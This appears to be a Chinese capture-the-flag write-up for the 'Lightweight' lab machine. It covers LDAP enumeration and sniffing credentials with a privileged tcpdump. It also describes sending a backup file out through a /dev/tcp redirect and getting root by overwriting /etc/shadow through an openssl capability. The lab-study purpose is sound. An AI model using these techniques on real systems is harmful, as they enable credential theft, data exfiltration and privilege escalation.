0x00:靶机介绍
这次的靶机是Lightweight,实打实的中等级别。后期提权属实折磨。
0x01:信息收集
还是python autorecon起手,跑完以后开了22 80 389端口。一开始看到389人傻了LDAP是什么鬼。
0x02:收集80端口信息
还是先访问80端口可以正常访问 有3个不同的子页面。
Info页面表示有WAF会BAN IP gobuster表示扫不出来。
Info页面表示有WAF会BAN IP gobuster表示扫不出来。
Status页面表示数据会每分钟刷新。
User页面表示可以让你SSH登录账号密码都是我的IP地址。但这可是中等级别的靶机肯定有一堆坑等着我。
0x03:利用nmap脚本收集LDAP端口信息
回到389端口,这里在网上找了找有个ldap* and not brute的nmap脚本可以收集相关信息。
用起来也不错可以找到相关账号ldapuser1 ldapuser2和两个密码
然而还是太年轻了。保存下密码以后让john跑跑了4个半小时也跑不出来。。。。。
0x04:登录22端口挖掘信息
这里没得办法只能去22端口登陆了。
转了一圈也没挖到啥信息 大部分目录也进不去。。。。
没办法只能传个LinEnum到靶机上看看有没有特权程序给我们运行运行。
0x05:利用LinEnum提权辅助挖掘特权程序
这里在运行./LinEnum.sh 居然发现tcpdump也在capabilities里面。
这里用网上大佬一句话概括Linux capability就是这个程序可以让普通用户也可以做只有超级用
户才能做的事。这里一开始我是直接想gtfobin一步到位变成root结果不太行。
还是继续分析下tcpdump所具有的两个能力cap_net_admin和cap_net_raw+ep
这里可以在kali下直接mancapability或者是在网上找找
总结一下cap_net_admin=执行各种与网络相关的操作+更改接口(interface)配置,管理IP防火墙等修改路由表
Cap_net_raw=可以使用RAW和PACKET的socket +可以绑定任何端口作为proxy监听/抓取数据包最后
面的+ep代表effective and permit概况就是tcpdump有特权
此为菜鸡英语翻译+总结如果觉得我不对请不要太介意。。。。。。。
0x06:利用tcpdump抓取数据包
既然知道tcpdump有点小特权那我们可以用ssh登录然后启动tcpdump监听
-I any=监听所有端口的数据
-U=数据包输出
-w -xxx=过滤条件
然后我们需要回到80端口随便点点页面和功能点产生点数据wireshark打开数据包发现抓到ldap
端口有个uid=ldapuser2还有一串字符串盲猜跟密码有关。
Su切换我的超人 成功拿到flag。
0x07:利用john破解7z密码
这里拿到flag以后同目录下还有一个backup.7z那我们肯定要传到本地好好关照一波。
然而scp, python挂掉只能用nc传。首先在kali本地起动一个端口>文件名。
然后在靶机上执行cap 文件名 >/dev/tcp/ip/端口就可了。
当然必有密码。不过在john目录下有个7z2john.pl是专门针对7z压缩包的。
当然此方法也可作用在有密码的压缩包上。
直接运行的话是不可能的还得用apt安装一个模块。
最后启动脚本导入然后再搭配字典可以跑出密码为delete。
里面有4个PHP文件最后在status.php里面有账号密码。可以su成功
0x08:提权
这里刚学了linux capability再用一次发现openssl居然有ep权限 当然此ep非
彼+ep。+ep是代表某个功能而直接=ep是代表所有特权都可运行。
而openssl提权的方法可以是自己先利用openssl生成一个密码然后再生成新的shadow把新密码替换掉root密码
来达到提权效果。这里可以看到直接运行cat /etc/shadow不可。Openssl运行可。
使用openssl passwd -1 生成一个新的盐密码。这里我设置的好像是123456还是12345
然后放到新建的shadow文件上。
再次利用wget把文件接收过来以后用特权程序openssl替换掉旧的/etc/shadow密码本。最后切换root成功。
|